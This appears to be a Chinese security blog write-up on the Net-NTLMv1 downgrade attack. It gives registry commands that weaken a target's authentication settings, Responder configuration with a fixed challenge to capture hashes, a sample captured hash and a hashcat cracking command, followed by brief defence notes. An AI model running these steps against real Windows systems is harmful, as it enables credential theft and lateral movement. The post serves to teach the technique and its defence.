写在前面

这篇文章绝大部分的理论内容和两篇参考文档相同（见0X06参考），是对两篇参考内容的融合，去掉了一些重复的内容，增加了自己的实际操作以及实践中遇到的一些问题。

目录

0x01 简介0x02 Net-NTLMv1的加密方法0x03 加密降级攻击（使用responder获取）0x04 为什么能破解 NTLMv1 hash0x05 防御思路0x06 参考

简介

Net-NTLMv1的加密方法

对比Net-NTLMv2，Net-NTLMv2的加密流程如下：

1、客户端向服务器发送一个请求2、服务器接收到请求后，生成一个16位的Challenge，发送回客户端3、客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器4、服务器校验response

Net-NTLMv1的加密流程如下：

1、客户端向服务器发送一个请求2、服务器接收到请求后，生成一个8位的Challenge，发送回客户端3、客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器4、服务器校验response

两者的流程相同，但加密算法不同，Net-NTLMv1相对脆弱

Net-NTLMv1 response的计算方法比较简单，方法如下：

将用户的NTLM hash分成三组，每组7比特(长度不够末尾填0)，作为3DES加密算法的三组密钥，加密Server发来的Challenge。

详情可参考：

http://davenport.sourceforge.net/ntlm.html#theNtlmResponse

加密降级攻击（使用responder获取）

在实际情况中，NTLMv1 hash 也是存在于 winserver 2003、windows xp 上，而在 win7 上是默认关闭的，我们可以通过修改注册表的方式，使 win7 支持 NTLM V1 认证。

由于 NTLM V1 认证过程的特殊性，非常容易被破解并还原出 NTLM HASH,为破解 NTLMv1 hash，我们还需要做一些准备，在 “欺骗阶段”，所以我们需要将 challenge 固定下来，得出特定 challenge 的 NTLMv1 hash，方便后续破解。

这里手动在目标机器上降级：

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /freg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /freg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

修改 responder 配置文件,这里我们需要修改 responder.conf 里边的 challenge 值为 1122334455667788，然后再次开启 responder（注意加上 --lm 参数），此时收到的 NTLMv1 hash 就可以直接破解并还原出 NTLM HASH。

vim /usr/share/responder/Responder.conf

开启 responder，启动参数加上 --lm, 不加这个参数就是并不是完全用的 server challenge，这就导致了生成的彩虹表不能使用，破解难度增加，得出 hash 的叫 NTLMv1-SSP Hash。

responder -I eth0 --lm

win7 执行命令

net use \\what\2 

可以直接用 https://crack.sh/netntlm/ 秒破（现在暂时无法使用），当然 hashcat 也可以爆破试试

NTLMv1的格式为：

username::hostname:LM response:NTLM response:challenge

构造后的数据如下：

ASUS::DESKTOP-9MNV1HM:2B1A3339F35BD08A00000000000000000000000000000000:5E402C04935F86C6FE3138200B4CA06DCA9D38BC0BCEAF0B:1122334455667788

Hashcat参数如下：

hashcat -m 5500 ASUS::DESKTOP-9MNV1HM:2B1A3339F35BD08A00000000000000000000000000000000:5E402C04935F86C6FE3138200B4CA06DCA9D38BC0BCEAF0B:1122334455667788 /tmp/password.list -o found.txt --force

Hashcat参数说明：

-m：hash-type，5500对应NetNTLMv1，详细参数可查表：https://hashcat.net/wiki/doku.php?字典文件为/tmp/password.list-o：输出文件–force：代表强制执行，测试系统不支持Intel OpenCL

查询结果

为什么能破解 NTLMv1 hash

加密方式1

1、将 16 字节的 NTLM hash 空填充为 21 个字节，然后分成三组，每组 7 字节。2、将三组 (每组 7 字节) 经过运算后作为 DES 加密算法的密钥3、加密 Server Challenge4、将这三个密文值连接起来得到 response。

总共三组，每组 8 个字节作为 key，加密 Server Challenge 获取 response。

每组可以分开计算，已知加密内容和加密后的密文算 key。使用 des 算法，key 是八个字节。

知道了其加密方式之后，控制 Server Challenge 为 1122334455667788，可以建立从 key 到 response 的彩虹表，并在知道 response 的情况下获取 key，破解跟机器的密码强度没有关系，且成功率几乎为 100%（在实际的破解过程中，本地的hashcat并没有能够很好的破解复杂密码，可能由于本地的密码字典还是太少的原因，目前无法测试在线的破解方式，该处存疑，在实际的推算过程中该处可能有的可能情况还是非常多）。

加密方式2

第一种加密方式的加密内容是 Server Challenge。而这种加密方式是拼接 8 字节 Server Challenge 和 8 字节 Client Challenge 后，求其 MD5，然后取 MD5 值的前 8 字节做为加密内容。

我们可以控制 Server Challenge 为固定的值，但是没法控制 Client Challenge 的值。

第一种是加密的内容为固定的 1122334455667788 的话，我们只需要建立从 key 到 response 的彩虹表。而这种加密方式的话。加密的内容也是不固定的，计算的成本高。

如何控制使用哪种 NTLMv1 hash 加密方式

当 ntlm type2 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 位置为 1 的时候, 加密的内容不是 server challenge，而是 md5 hash 运算过的 server challeng+client challent 的前 8 位。也就是说是第二种加密方式。

把 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 位置为 0，那么客户端就会选择加密方式 1. 并且 Server Challenge 为 1122334455667788 的情况下。我们用 crack.sh 快速免费有效得破解。获取到用户的 NTLM Hash。

Resonder 加上 -lm , 调用的模块就是 SMB1LM, 版本的实现是在 smb 协商版本的时候就将 challenge 返回，并且将 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 置为 0。

在各个协议里面的 NTLM SSP 里面，修改 flag 位，我们找到 Responder 里面 type2 的 NTLM SSP 的 flag 位赋值的地方即可。

比如 smb 部分的实现，在 packets.py 中的 SMBSession1Data 类。

http 在 packets.py 中的 NTLM_Challenge 类里面。

防御思路

自Windows Vista起，微软默认使用Net-NTLMv2协议，想要降级到Net-NTLMv1，首先需要获得当前系统的管理员权限

而对于Net-NTLMv2协议，即使抓到了通信数据包，只能对其进行字典攻击或是暴力破解，破解的概率不是很高

综上，自Windows Vista起，系统默认使用的Net-NTLMv2协议在安全性上能够保证

参考

Responder欺骗https://www.cnblogs.com/haidragon/p/16847713.html
Windows下的密码hash——Net-NTLMv1介绍https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D

写在最后

     本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。